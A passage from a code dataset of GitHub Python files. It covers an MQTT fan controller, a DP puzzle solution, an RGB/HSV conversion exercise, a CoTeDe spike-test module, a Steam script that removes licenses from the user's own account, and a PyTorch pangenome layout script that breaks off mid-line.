get_fan_speed_enum(message.payload)\n fan_gpio_controller.set_fan_speed(speed, True)\n office_fan.fan_speed = speed\n office_fan.fan_speed_state = FanSpeedState.ON\n elif message.topic == \"fanControl/BedroomFan/fan/speed/set\":\n print_message(message)\n if message.payload == \"0\":\n fan_gpio_controller.turn_off_fan(False)\n bedroom_fan.fan_speed_state = FanSpeedState.OFF\n else:\n speed = get_fan_speed_enum(message.payload)\n fan_gpio_controller.set_fan_speed(speed, False)\n bedroom_fan.fan_speed = speed\n bedroom_fan.fan_speed_state = FanSpeedState.ON\n #Fan Light Flip messages\n elif message.topic == \"fanControl/FlipBedroom\":\n print_message(message)\n toggle_fan_light_state(bedroom_fan)\n elif message.topic == \"fanControl/FlipOffice\":\n print_message(message)\n toggle_fan_light_state(office_fan)\n \ndef get_fan_speed_number(fan_speed):\n if fan_speed == FanSpeed.LOW:\n return 1\n elif fan_speed == FanSpeed.MEDIUM:\n return 2\n elif fan_speed == FanSpeed.HIGH:\n return 3\n\ndef publish_fan_state():\n while True:\n m_client.publish(\"fanControl/OfficeFan/fan/on/state\", office_fan.fan_speed_state.name)\n m_client.publish(\"fanControl/BedroomFan/fan/on/state\", bedroom_fan.fan_speed_state.name)\n\n m_client.publish(\"fanControl/OfficeFan/fan/speed/state\", get_fan_speed_number(office_fan.fan_speed))\n m_client.publish(\"fanControl/BedroomFan/fan/speed/state\", get_fan_speed_number(bedroom_fan.fan_speed))\n \n m_client.publish(\"fanControl/OfficeFan/fan/light/state\", office_fan.fan_light.name)\n m_client.publish(\"fanControl/BedroomFan/fan/light/state\", bedroom_fan.fan_light.name) \n time.sleep(1)\n\ndef toggle_fan_light_state(fan):\n if fan.fan_light == FanLight.ON:\n fan.fan_light = FanLight.OFF\n else:\n fan.fan_light = FanLight.ON\n \ndef office_fan_light_state_override(channel):\n toggle_fan_light_state(office_fan)\n\ndef bedroom_fan_light_state_override(channel):\n toggle_fan_light_state(bedroom_fan)\n\ntry:\n office_fan = Fan()\n bedroom_fan = Fan()\n \n fan_gpio_controller.bedroom_fan_function = bedroom_fan_light_state_override\n fan_gpio_controller.office_fan_function = office_fan_light_state_override\n \n fan_gpio_controller.initialize_pins()\n \n buttonThread = Thread(target = fan_gpio_controller.process_queue)\n buttonThread.daemon = True\n buttonThread.start()\n\n m_client = MqttController(message_parser)\n m_client.connect_to_mqtt()\n \n publishThread = Thread(target = publish_fan_state)\n publishThread.daemon = True\n publishThread.start()\n \n while True:\n if not m_client.connected:\n m_client.reconnect_to_mqtt() \n time.sleep(1)\nfinally:\n fan_gpio_controller.cleanup_gpio()\n","repo_name":"dapowers87/FanRemoteControl","sub_path":"fan_remote_controller.py","file_name":"fan_remote_controller.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"14938730925","text":"import sys\r\n\r\nN = int(sys.stdin.readline().rstrip())\r\nmax_dp = [0 for __ in range(3)]\r\nmin_dp = [0 for __ in range(3)]\r\nmax_temp = [0 for __ in range(3)]\r\nmin_temp = [0 for __ in range(3)]\r\nd = (-1, 0, 1)\r\n\r\nfor __ in range(N):\r\n arr = list(map(int,sys.stdin.readline().split()))\r\n for i in range(3):\r\n max_previous = 0\r\n min_previous = 900000\r\n for j in range(3):\r\n ni = i+d[j]\r\n if 0 <= ni < 3:\r\n max_previous = max(max_previous, max_dp[ni])\r\n min_previous = min(min_previous, min_dp[ni])\r\n \r\n max_temp[i] = arr[i] + max_previous\r\n min_temp[i] = arr[i] + min_previous\r\n \r\n for i in range(3):\r\n max_dp[i] = max_temp[i]\r\n min_dp[i] = min_temp[i]\r\n \r\nprint(max(max_dp), min(min_dp))","repo_name":"soonyoung-hwang/Algorithm","sub_path":"백준/Gold/2096. 내려가기/내려가기.py","file_name":"내려가기.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"86679016114","text":"import cv2 as cv\nimport math\nimport numpy as np\n\nimage = cv.imread('lena.jpg')\n\nlebar = int(image.shape[0] * 80/100)\npanjang = int(image.shape[1] * 40/100)\n\nimage = cv.resize(image,(lebar,panjang))\n\n#------------------------------------------- cara manual \nHSV_libray = cv.cvtColor(image, cv.COLOR_RGB2HSV)\nRGB_library = cv.cvtColor(HSV_libray, cv.COLOR_HSV2RGB)\ncv.imshow('HSV library',HSV_libray)\ncv.imshow('RGB library', RGB_library)\n#-------------------------------------------\n\n#image yang diimport ke python memiliki format BGR\nR = (image[:,:,2])\nG = (image[:,:,1])\nB = (image[:,:,0])\n\n# ubah ke dalam ruang warna HSV\nH = np.zeros([image.shape[0], image.shape[1]], dtype = float)\nS = np.zeros([image.shape[0], image.shape[1]], dtype = float)\nV = np.zeros([image.shape[0], image.shape[1]], dtype = float)\nHSV = np.zeros((image.shape[0], image.shape[1], 3), 'uint8')\n\n\nfor i in range(image.shape[0]):\n for j in range(image.shape[1]):\n \n Bnorm = B[i][j]/float(255) # normalisasi\n Gnorm = G[i][j]/float(255)\n Rnorm = R[i][j]/float(255)\n\n Cmax = max(Bnorm, Gnorm, Rnorm) # nilai maksimum dari semua komponen warna\n Cmin = min(Bnorm, Gnorm, Rnorm) # nilai minimum dari semua komponen warna\n delta = Cmax - Cmin\n\n # hitung H\n if (delta == 0):\n H[i][j] = 0\n elif (Rnorm == Cmax):\n H[i][j] = (60*((Gnorm-Bnorm)/delta)+0 % 6)\n elif (Gnorm == Cmax):\n H[i][j] = (60*((Bnorm-Rnorm)/delta)+2 )\n elif (Bnorm == Cmax):\n H[i][j] = (60*((Rnorm-Gnorm)/delta)+4 )\n\n # hitung S\n if (Cmax == 0):\n S[i][j] = 0\n else:\n S[i][j] = (delta / Cmax) * 100\n\n # hitung V\n V[i][j] = Cmax*100\n\n# menampilkan citra yang telah dibaca/import\nH = H.astype('uint8')\nS = S.astype('uint8')\nV = V.astype('uint8')\nHSV[..., 0] = H\nHSV[..., 1] = S\nHSV[..., 2] = V\n\ncv.imshow('HSV Formula',HSV)\n\nHSV = HSV.astype('float')\nH = (HSV[:,:,0])\nS = (HSV[:,:,1])\nV = (HSV[:,:,2])\n\nR = np.zeros([image.shape[0], image.shape[1]], dtype = float)\nG = np.zeros([image.shape[0], image.shape[1]], dtype = float)\nB = np.zeros([image.shape[0], image.shape[1]], dtype = float)\nBGR = np.zeros((image.shape[0], image.shape[1], 3), 'uint8')\n\nfor i in range (HSV.shape[0]) :\n for j in range (HSV.shape[1]) :\n\n S[i][j] = S[i][j] / 100\n V[i][j] = V[i][j] / 100\n C = V[i][j] * S[i][j]\n X = C * (1 - abs(H[i][j]/60 % 2 - 1))\n m = V[i][j] - C\n\n if (H[i][j] >= 0 and H[i][j] < 60) :\n Red = C\n Green = X\n Blue = 0\n elif (H[i][j] >= 60 and H[i][j] < 120) :\n Red = X\n Green = C\n Blue = 0\n elif (H[i][j] >= 120 and H[i][j] < 180) :\n Red = 0\n Green = C\n Blue = X\n elif (H[i][j] >= 180 and H[i][j] < 240) :\n Red = 0\n Green = X\n Blue = C\n elif (H[i][j] >= 240 and H[i][j] < 300) :\n Red = X\n Green = 0\n Blue = C\n elif (H[i][j] >= 300 and H[i][j] < 360) :\n Red = C\n Green = 0\n Blue = X\n \n R[i][j] = (Red + m) * 255\n G[i][j] = (Green + m) * 255\n B[i][j] = (Blue + m) * 255\n\nR = R.astype('uint8')\nG = G.astype('uint8')\nB = B.astype('uint8')\n\nBGR[..., 0] = B\nBGR[..., 1] = G\nBGR[..., 2] = R\n\ncv.imshow('RGB Formula', BGR)\n\ncv.waitKey(0)\ncv.destroyAllWindows()","repo_name":"justraven/pengolahan-citra-digital","sub_path":"TUGAS_2/TUGAS_2.py","file_name":"TUGAS_2.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11657676218","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\n\"\"\"\n\n\"\"\"\n\nimport numpy as np\nfrom numpy import ma\n\n\ndef bin_spike(x, l):\n \"\"\"\n\n Dummy way to avoid warnings when x[ini:fin] are all masked.\n Improve this in the future.\n \"\"\"\n N = len(x)\n bin = ma.masked_all(N)\n half_window = l/2\n for i in range(half_window, N-half_window):\n ini = max(0, i - half_window)\n fin = min(N, i + half_window)\n if ~x[ini:fin].mask.any():\n bin[i] = x[i] - ma.median(x[ini:fin])\n #bin_std[i] = (T[ini:fin]).std()\n\n return bin\n\n\nclass Bin_Spike(object):\n def __init__(self, data, varname, cfg):\n self.data = data\n self.varname = varname\n self.cfg = cfg\n\n self.set_features()\n\n def keys(self):\n return self.features.keys() + \\\n [\"flag_%s\" % f for f in self.flags.keys()]\n\n def set_features(self):\n self.features = {'bin_spike': bin_spike(self.data[self.varname],\n self.cfg['l'])}\n\n def test(self):\n self.flags = {}\n try:\n threshold = self.cfg['threshold']\n except:\n print(\"Deprecated cfg format. It should contain a threshold item.\")\n threshold = self.cfg\n\n try:\n flag_good = self.cfg['flag_good']\n flag_bad = self.cfg['flag_bad']\n except:\n print(\"Deprecated cfg format. It should contain flag_good & flag_bad.\")\n flag_good = 1\n flag_bad = 4\n\n assert (np.size(threshold) == 1) and \\\n (threshold is not None) and \\\n (np.isfinite(threshold)) \n\n flag = np.zeros(self.data[self.varname].shape, dtype='i1')\n flag[np.nonzero(self.features['bin_spike'] > threshold)] = flag_bad\n flag[np.nonzero(self.features['bin_spike'] <= threshold)] = flag_good\n flag[ma.getmaskarray(self.data[self.varname])] = 9\n self.flags['bin_spike'] = flag\n","repo_name":"Akshay-Hegde/CoTeDe","sub_path":"cotede/qctests/bin_spike.py","file_name":"bin_spike.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"24832260570","text":"import logging\nimport re\nimport sys\n\nimport requests\nimport vdf\n\nENDPOINT = 'https://help.steampowered.com/en/wizard/AjaxDoPackageRemove'\nPOST_APPID_KEY = 'appid'\nPOST_PACKAGEID_KEY = 'packageid'\nPOST_SESSIONID_KEY = 'sessionid'\nCOOKIES_SESSIONID_KEY = 'sessionid'\nCOOKIES_STEAM_LOGIN_KEY = 'steamLogin'\nCOOKIES_STEAM_LOGIN_SECURE_KEY = 'steamLoginSecure'\nHEADER_CONTENT_TYPE_KEY = 'content-type'\nHEADER_CONTENT_TYPE_JSON_PREFIX = 'application/json;'\nLIB_HIDDEN_TAG = 'hidden'\nLIB_HIDDEN_TRUE = '1'\nPACKAGE_BLACKLIST = {'0'} # package id 0 is reserved for Steam and it contains hundreds of app ids\nLOG_FILE = 'dustman.log'\n\n\ndef dump():\n if len(sys.argv) < 6:\n print(\"Usage: python3 Dustman.py \")\n raise ValueError(\"Incomplete command-line arguments\")\n\n category_file = sys.argv[1]\n licenses_file = sys.argv[2]\n sessionid = sys.argv[3]\n steam_login = sys.argv[4]\n steam_login_secure = sys.argv[5]\n\n logging.basicConfig(filename=LOG_FILE, level=logging.INFO)\n logging.info('==============================================')\n logging.info(\"Starting...\")\n\n hidden_apps, visible_apps = get_hidden_and_visible_apps(category_file)\n packages_to_apps, apps_to_packages = build_app_package_dicts(licenses_file)\n\n with requests.Session() as session:\n session.cookies.update({\n COOKIES_SESSIONID_KEY: sessionid,\n COOKIES_STEAM_LOGIN_KEY: steam_login,\n COOKIES_STEAM_LOGIN_SECURE_KEY: steam_login_secure\n })\n\n for app in hidden_apps:\n if app in apps_to_packages:\n remove_app(app, apps_to_packages[app], sessionid, session, packages_to_apps, visible_apps)\n\n\n# returns two sets: hidden apps, and visible apps\ndef get_hidden_and_visible_apps(steam_lib_category_file):\n hidden_apps = set()\n visible_apps = set()\n\n with open(steam_lib_category_file) as f:\n configs = vdf.load(f)\n apps = configs['UserRoamingConfigStore']['Software']['Valve']['Steam']['apps']\n for app, config in apps.items():\n if config.get(LIB_HIDDEN_TAG) == LIB_HIDDEN_TRUE:\n hidden_apps.add(app)\n else:\n visible_apps.add(app)\n\n return hidden_apps, visible_apps\n\n\n# returns two dicts: package => apps, and app => packages\ndef build_app_package_dicts(steam_lib_licenses_file):\n package_pattern = re.compile('^License packageID (\\d+)')\n apps_pattern = re.compile('^ *- Apps +: ((\\d+, )+)')\n apps_to_packages = dict()\n packages_to_apps = dict()\n\n with open(steam_lib_licenses_file) as f:\n while True:\n # 1st line contains package id\n line = f.readline()\n if len(line) == 0: # EOF\n break\n matches = package_pattern.search(line)\n if matches is None:\n continue\n package = matches.group(1)\n if package in PACKAGE_BLACKLIST:\n continue\n\n # skip 2nd line (state)\n f.readline()\n\n # 3nd line contains app ids\n line = f.readline()\n matches = apps_pattern.search(line)\n if matches is None: # no apps in this package\n continue\n apps = matches.group(1).split(', ')[:-1]\n\n # skip 4th line (depots)\n f.readline()\n\n # collect\n packages_to_apps[package] = apps\n for app in apps:\n if app not in apps_to_packages:\n apps_to_packages[app] = []\n apps_to_packages[app].append(package)\n\n return packages_to_apps, apps_to_packages\n\n\n# app: id of app to be removed\n# packages: ids of packages that contain the given app\n# sessionid: current session id\n# session: a Requests.Session object\n# packages_to_apps: a dictionary mapping ids of packages to ids of their apps\n# visible_apps: set of all non-hidden apps\ndef remove_app(app, packages, sessionid, session, packages_to_apps, visible_apps):\n for package in packages:\n package_apps = packages_to_apps[package]\n if len(package_apps) > 1:\n if any(app in visible_apps for app in package_apps):\n # we cannot just check if app is not in hidden_apps because hidden_apps does not contain DLCs or Tools,\n # and doing that would skip removing any package that contains DLCs or Tools\n logging.info(\"Skipping removing app %s in package %s because this package contains other non-hidden apps\", app, package)\n continue\n logging.info(\"Removing app %s in package %s, which contains more than one app\", app, package)\n remove_package(app, package, sessionid, session)\n\n\ndef remove_package(app, package, sessionid, session):\n data = {\n POST_APPID_KEY: app,\n POST_PACKAGEID_KEY: package,\n POST_SESSIONID_KEY: sessionid\n }\n r = session.post(ENDPOINT, data=data)\n\n # the only success scenario is when we receive a JSON object with `'success': true`;\n # note that in some cases, the endpoint responds with `'success': 15` to denote failure\n # and `not 15` evaluates to `False`!\n if not r.ok or not r.headers[HEADER_CONTENT_TYPE_KEY].startswith(HEADER_CONTENT_TYPE_JSON_PREFIX) \\\n or r.json()['success'] is not True:\n logging.error(\"Failed to remove app %s from package %s\", app, package)\n\n\nif __name__ == '__main__':\n dump()\n","repo_name":"adam1x/SteamDustman","sub_path":"Dustman.py","file_name":"Dustman.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"74347073476","text":"'''\nPyTorch implementation of pangenome graph layout. \n\n'''\n\n\nimport time\nimport argparse\nimport torch\nimport os\nimport imageio\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom torch import nn\nfrom odgi_dataset import OdgiInterface, OdgiDataloader\nimport torch.profiler as profiler\n\n# True: use gradient-based method; False: use vector implementation\nGRADIENT_METHOD = False\nPRINT_LOG = False\nPROFILE = True\nPYTORCH_PROFILE = False\nNSYS_PROFILE = False\n\n# default parameters\nzipf_theta=0.99\nspace_max=1000\nspace_quantization_step=100\n# space = max_path_step_count\n\n# DIR\nDATASET_DIR=\"./dataset_array\"\n\nclass PlaceEngine(nn.Module):\n '''\n @brief: Graph 2D layout Engine. It contains the parameters ([X, Y] coordinates of all nodes) to be updated. \n '''\n def __init__(self, init_layout, num_nodes, lr_schedule, device):\n '''\n @brief initialization\n @param num_nodes: number of nodes in the graph\n '''\n super().__init__()\n self.lr_schedule = lr_schedule\n self.num_nodes = num_nodes\n self.pos = nn.Parameter(data=init_layout, requires_grad=True)\n \n self.optimizer = torch.optim.SGD(self.parameters(), lr=0.1) # we'll set customized learning rate for each epoch\n \n def stress_fn(self, i, j, vis_p_i, vis_p_j, dis, iter):\n '''\n @brief Compute the stress function for batch_size pairs of nodes. This strictly follows the ODGI implementation. \n ''' \n diff = self.pos[i] - self.pos[j]\n\n mag = torch.norm(diff, dim=1)\n # make sure no element in mag is 0\n mag = torch.max(mag, torch.ones_like(mag)*1e-9) # avoid mag = 0, will cause NaN\n coeff = 1 / (4 * torch.max(dis, torch.tensor(self.lr_schedule[iter])))\n stress = coeff * (mag - dis) ** 2\n # sum up the stress for each node\n stress_sum = torch.sum(stress, dim=0)\n # print(f\"stress: {stress_sum}\")\n return stress_sum\n\n def gradient_step(self, i, j, vis_p_i, vis_p_j, dis, iter):\n self.optimizer.zero_grad()\n\n\n stress = self.stress_fn(i, j, vis_p_i, vis_p_j, dis, iter)\n stress.backward()\n\n # customized learning rate\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = self.lr_schedule[iter]\n self.optimizer.step()\n\n if (torch.isnan(self.pos).any()):\n # breakpoint()\n raise ValueError(f\"nan found in pos: {self.pos}\\n stress: {stress}\\n dis: {dis} \\n i: {i} \\n j: {j} \\n vis_p_i: {vis_p_i} \\n vis_p_j: {vis_p_j} \\n iter: {iter}\")\n\n return stress\n\n\n\ndef draw(pos_changes, output_dir):\n def draw_one_graph(pos, idx, output_dir):\n fig, ax = plt.subplots()\n\n xmin = pos.min()\n xmax = pos.max()\n edge = 0.1 * (xmax - xmin)\n ax.set_xlim(xmin-edge, xmax+edge)\n ax.set_ylim(xmin-edge, xmax+edge)\n ax.set_title(f\"Iter {idx}\")\n\n pos = pos.reshape((pos.shape[0]//2, 2, 2))\n\n for p in pos:\n plt.plot(p[:,0], p[:,1], '-', linewidth=1)\n plt.savefig(f\"{output_dir}/iter{idx}.png\")\n plt.close(fig)\n frames.append(imageio.v2.imread(f\"{output_dir}/iter{idx}.png\"))\n\n frames = list()\n for idx, pos in enumerate(pos_changes):\n draw_one_graph(pos, idx, output_dir)\n\n imageio.mimsave(f\"{output_dir}/iter_animate.gif\", frames, duration=0.1)\n\n\ndef main(args):\n use_cuda = args.cuda and torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n if (device == \"cpu\"):\n raise ValueError(\"CPU is not good. Please use GPU.\")\n print(f\"==== Device: {device}; Chromosome: {args.input_chrom} ====\")\n\n OG_FILE = f\"{DATASET_DIR}/{args.input_chrom}.og\"\n ARRAY_DIR = f\"{DATASET_DIR}/{args.input_chrom}\"\n RESULT_DIR = f\"{ARRAY_DIR}/batch_size={args.batch_size}\"\n\n def load_batch(batch_size, num_path, iter):\n '''\n Load batch data\n '''\n def zipf_batch(n, theta, zeta2, zetan):\n '''\n @brief\n zipf distribution, one kind of power law distirbution. Should return a torch tensor of shape [batch_size]\n @param\n n: tensor\n zetan: tensor\n @return\n val: tensor\n '''\n alpha = 1.0 / (1.0 - theta)\n denominator = 1.0 - zeta2 / zetan # tensor\n denominator = torch.where(denominator == 0, 1e-9, denominator)\n eta = (1.0 - torch.pow(2.0 / n, 1.0 - theta)) / denominator # tensor\n\n u = 1.0 - torch.rand(size=[batch_size], device=device) # tensor\n uz = u * zetan # tensor\n val = torch.where(uz < 1.0, 1, 0) # tensor\n val = torch.where((uz >= 1.0) & (uz < (1.0 + pow(0.5, zipf_theta))), 2, val)\n val = torch.where((uz >= (1.0 + pow(0.5, zipf_theta))), (1 + n * torch.pow(eta * u - eta + 1.0, alpha)).int(), val.int())\n val = torch.where(val > n, val - 1, val)\n # assert that no value in val >= 0 and <= n\n assert(torch.all(val <= n))\n assert(torch.all(val >= 0))\n return val.int()\n\n\n def backward(step_i):\n '''\n In the cooling stage, we go backward from step_i to pick step_j. \n @Param: step_i, shape: [batch_size]\n @Return: step_j\n '''\n jump_space = step_i\n space = jump_space\n mask_cond = (jump_space > space_max)\n space = torch.where(mask_cond, space_max + torch.div((jump_space - space_max), space_quantization_step, rounding_mode='trunc') + 1, space)\n z = zipf_batch(jump_space, zipf_theta, zetas[2], zetas[space.long()])\n step_j = step_i - z\n return step_j\n\n def forward(step_i):\n '''\n In the cooling stage, we go forward from step_i to pick step_j\n @Param: step_i, shape: [batch_size]\n @Return: step_j\n '''\n jump_space = num_nodes_in_path[path_idx] - step_i - 1\n space = jump_space\n mask_cond = (jump_space > space_max)\n space = torch.where(mask_cond, space_max + torch.div((jump_space - space_max), space_quantization_step, rounding_mode='trunc') + 1, space)\n z = zipf_batch(jump_space, zipf_theta, zetas[2], zetas[space.long()])\n step_j = step_i + z\n return step_j\n\n def cooling(step_i):\n '''\n @Brief: cooling stage. Get the step_j given step_i. \n @Param: step_i, shape: [batch_size]\n @Return: step_j, shape: [batch_size]\n '''\n # mask = True: backward; mask = False: forward\n mask = ((step_i > 0) & (torch.rand_like(step_i.float()) <= 0.5)) | (step_i == num_nodes_in_path[path_idx] - 1)\n step_j = torch.where(mask, backward(step_i), forward(step_i))\n return step_j\n \n def noncooling(step_i):\n '''\n @Brief: noncooling stage. Get the step_j given step_i. \n @Param: step_i, shape: [batch_size]\n @Return: step_j, shape: [batch_size]\n '''\n step_j = (torch.rand(batch_size, device=device) * num_nodes_in_path[path_idx]).int()\n step_j = torch.where(step_j == step_i, ((step_j + 1) % num_nodes_in_path[path_idx]).int(), step_j)\n return step_j\n\n\n path_idx = torch.randint(0, num_path, (batch_size,), device=device)\n\n step_i = (torch.rand(batch_size, device=device) * num_nodes_in_path[path_idx]).int()\n\n cond_cooling = (iter >= 15) | (torch.rand(batch_size, device=device) <= 0.5) # condition for cooling stage\n step_j = torch.where(cond_cooling, cooling(step_i), noncooling(step_i))\n\n node_vis_i = torch.randint(0, 2, (batch_size,), device=device) # flipcoin on {0,1}\n node_vis_j = torch.randint(0, 2, (batch_size,), device=device) # flipcoin on {0,1}\n \n # 1d array for pos_ref, node_id\n dist_ref = torch.abs(pos_ref[start_step_idx[path_idx] + step_i*2 + node_vis_i] - pos_ref[start_step_idx[path_idx] + step_j*2 + node_vis_j])\n node_i = node_id[start_step_idx[path_idx] + step_i*2 + node_vis_i].long()\n node_j = node_id[start_step_idx[path_idx] + step_j*2 + node_vis_j].long()\n\n return node_i, node_j, node_vis_i, node_vis_j, dist_ref\n\n\n # ========== Load Precomputed Arrays ============\n # ===== read pos_ref: line by line =====\n num_path = 0\n pos_ref_list = list()\n\n with open(f\"{ARRAY_DIR}/pos.txt\", \"r\") as f:\n num_path = int(f.readline().strip())\n\n num_nodes_in_path = torch.zeros(num_path, dtype=torch.int32)\n start_step_idx = torch.zeros(num_path, dtype=torch.int32) # record the start step idx for each path\n\n for i in range(num_path):\n num_pangenome_nodes = int(f.readline().strip())\n num_nodes_in_path[i] = num_pangenome_nodes\n start_step_idx[i] = start_step_idx[i-1] + num_nodes_in_path[i-1] * 2 if i > 0 else 0\n\n arr = np.array(list(map(int, f.readline().strip().split())))\n pos_ref_list.append(arr)\n if (i % 100 == 0 and i > 0):\n print(f\"[Position] path {i}: finish reading\")\n\n max_nodes_in_path = torch.max(num_nodes_in_path)\n total_nodes_in_path = torch.sum(num_nodes_in_path)\n \n print(f\"max_nodes_in_path: {max_nodes_in_path}\")\n print(f\"total_nodes_in_path: {total_nodes_in_path}\")\n\n pos_ref = torch.zeros((total_nodes_in_path * 2), dtype=torch.int32)\n\n for i in range(num_path):\n pos_ref[start_step_idx[i]:start_step_idx[i] + num_nodes_in_path[i]*2] = torch.tensor(pos_ref_list[i], dtype=torch.int32)\n\n pos_ref = pos_ref.to(device)\n print(f\"[Position] Finished Loading\")\n\n # ===== read node_id: line by line =====\n node_id = torch.zeros((total_nodes_in_path * 2), dtype=torch.int32)\n\n # print(f\"start_step_idx: {start_step_idx}\")\n # print(f\"num_nodes_in_path: {num_nodes_in_path}\")\n\n with open(f\"{ARRAY_DIR}/vis_id.txt\", \"r\") as f:\n for i in range(num_path):\n line = f.readline().strip()\n numbers = list(map(int, line.split()))\n arr = np.array(numbers)\n node_id[start_step_idx[i]:start_step_idx[i] + num_nodes_in_path[i]*2] = torch.tensor(arr, dtype=torch.int32)\n if (i % 100 == 0 and i > 0):\n print(f\"[Node ID] path {i}: finish reading\")\n\n node_id = node_id.to(device)\n num_nodes_in_path = num_nodes_in_path.to(device)\n start_step_idx = start_step_idx.to(device)\n print(f\"[Node ID] Finished Loading\")\n\n # ===== read schedule from config.txt =====\n schedule = []\n with open(f\"{ARRAY_DIR}/config.txt\", \"r\") as f:\n num_pangenome_nodes = int(f.readline().strip())\n line = f.readline().strip()\n numbers = list(map(float, line.split()))\n schedule.extend(numbers)\n # we delete the last one, which is the 31st iteration (shouldn't use it)\n # schedule.pop()\n \n # print(f\"==== Schedule: {schedule} ====\")\n print(f\"====== Finish Loading Schedule ======\")\n\n steps_per_iteration = 10 * total_nodes_in_path\n num_nodes = 2 * num_pangenome_nodes\n # ===== read init_layout: line by line =====\n init_layout = torch.zeros((num_nodes, 2), dtype=torch.float32)\n with open(f\"{ARRAY_DIR}/init_layout.txt\", \"r\") as f:\n line_x = f.readline().strip()\n layout_x = np.array(list(map(float, line_x.split())))\n line_y = f.readline().strip()\n layout_y = np.array(list(map(float, line_y.split())))\n init_layout[:, 0] = torch.tensor(layout_x, dtype=torch.float32)\n init_layout[:, 1] = torch.tensor(layout_y, dtype=torch.float32)\n print(f\"==== Finish Loading Init Layout ====\") # [num_nodes, 2]\n\n # ======= compute zipf zetas =======\n space = max_nodes_in_path\n zetas_cnt = 0\n if space <= space_max:\n zetas_cnt = space\n else:\n zetas_cnt = space_max + (space - space_max) // space_quantization_step + 1\n zetas_cnt += 1\n print(f\"zetas_cnt: {zetas_cnt}\")\n\n zetas = torch.zeros(size=[zetas_cnt], dtype=torch.double)\n zeta_tmp = 0.0\n for i in range(1, space + 1):\n zeta_tmp += pow(1.0 / i, zipf_theta)\n if (i <= space_max):\n zetas[i] = zeta_tmp\n if (i >= space_max and (i - space_max) % space_quantization_step == 0):\n zetas[space_max + 1 + (i - space_max) // space_quantization_step] = zeta_tmp\n\n zetas = zetas.to(device)\n print(f\"==== Finish Computing Zetas ====\")\n\n\n print(f\"==== num_pangenome_nodes: {num_pangenome_nodes}; steps_per_iteration: {steps_per_iteration} ====\")\n\n\n # set pos on device, requires_grad=True\n pos = torch.tensor(init_layout, dtype=torch.float32, requires_grad=True, device=device)\n\n # ========= Gradient-based Method =========\n if GRADIENT_METHOD:\n mod = PlaceEngine(init_layout, num_nodes, schedule, device)\n mod = mod.to(device)\n\n\n pos_changes = np.zeros((args.num_iter, num_nodes, 2), dtype=np.float32)\n\n start = time.time()\n\n if PROFILE: \n dataload_total = 0\n transfer_total = 0\n compute_total = 0\n\n # with profiler.profile(\n # activities=[profiler.ProfilerActivity.CPU, profiler.ProfilerActivity.CUDA], \n # with_stack=False, profile_memory=False, record_shapes=False) as prof:\n # enable Pytorch profiler\n\n \n for iter in range(args.num_iter):\n eta = schedule[iter]\n\n if NSYS_PROFILE:\n if iter >= 1: \n torch.cuda.cudart().cudaProfilerStart()\n\n if PROFILE:\n transfer_iter = 0\n compute_iter = 0\n dataload_iter = 0\n dataload_start = time.time()\n\n # for batch_idx, (i, j, vis_p_i, vis_p_j, _w, dis) in enumerate(data): # (i,j) start from 1; vis_p_i, vis_p_j is in {0,1}\n for batch_idx in range(steps_per_iteration // args.batch_size):\n i, j, vis_p_i, vis_p_j, dis = load_batch(args.batch_size, num_path, iter)\n\n\n if PROFILE:\n dataload_iter += time.time() - dataload_start\n if (device == torch.device(\"cuda\")):\n torch.cuda.synchronize()\n transfer_start = time.time()\n\n if PROFILE:\n if (device == torch.device(\"cuda\")):\n torch.cuda.synchronize()\n transfer_iter += time.time() - transfer_start\n\n compute_start = time.time()\n\n # ======== Wrap up within Pytorch nn.Module =======\n if GRADIENT_METHOD:\n stress_sum = mod.gradient_step(i, j, vis_p_i, vis_p_j, dis, iter)\n\n\n # ========= Gradient Update Implementation ========\n # diff = pos[i] - pos[j]\n # mag = torch.norm(diff, dim=1)\n # mag = torch.max(mag, torch.ones_like(mag)*1e-9) # avoid mag = 0, will cause NaN\n # coeff = 1 / (4 * torch.max(dis, torch.tensor(eta)))\n # stress = coeff * (mag - dis) ** 2\n # # sum up the stress for each node\n # stress_sum = torch.sum(stress, dim=0)\n # stress_sum.backward()\n # pos.data.sub_(eta * pos.grad.data)\n # pos.grad.data.zero_()\n\n # if (torch.isnan(pos).any()):\n # # breakpoint()\n # raise ValueError(f\"nan found in pos: {pos}\\n stress: {stress}\\n dis: {dis} \\n i: {i} \\n j: {j} \\n vis_p_i: {vis_p_i} \\n vis_p_j: {vis_p_j} \\n iter: {iter}\")\n\n\n\n # ======== Vector Implementation ==========\n else:\n with torch.no_grad():\n w = 1 / dis # torch.clamp in-place. \n mu = torch.min(w * eta, torch.ones_like(w, device=device)) # torch.ones_like() move out. Shape is consistent. \n diff = pos[i] - pos[j] # maybe cpu -> gpu for those index is time-consuming?\n mag = torch.norm(diff, dim=1)\n mag = torch.max(mag, torch.ones_like(mag, device=device)*1e-9) # avoid mag = 0, will cause NaN\n r = (dis - mag) / 2\n update = torch.unsqueeze(mu * r / mag, dim=1) * diff\n pos[i] += update\n pos[j] -= update # memory contention? \n\n if (torch.isnan(pos).any()):\n # breakpoint()\n raise ValueError(f\"nan found in pos: {pos}\\n dis: {dis} \\n i: {i} \\n j: {j} \\n iter: {iter}\")\n\n if PROFILE:\n if (device == torch.device(\"cuda\")):\n torch.cuda.synchronize()\n compute_iter += time.time() - compute_start\n\n if PRINT_LOG:\n if batch_idx % args.log_interval == 0:\n # print(f\"Iteration[{iter}]: {batch_idx}/{data.steps_in_iteration() // args.batch_size}. Stress: {stress_sum.item():.2f}\")\n print(f\"Iteration[{iter}]: {batch_idx}/{steps_per_iteration // args.batch_size}\")\n\n if PROFILE:\n dataload_start = time.time()\n\n if PROFILE:\n dataload_total 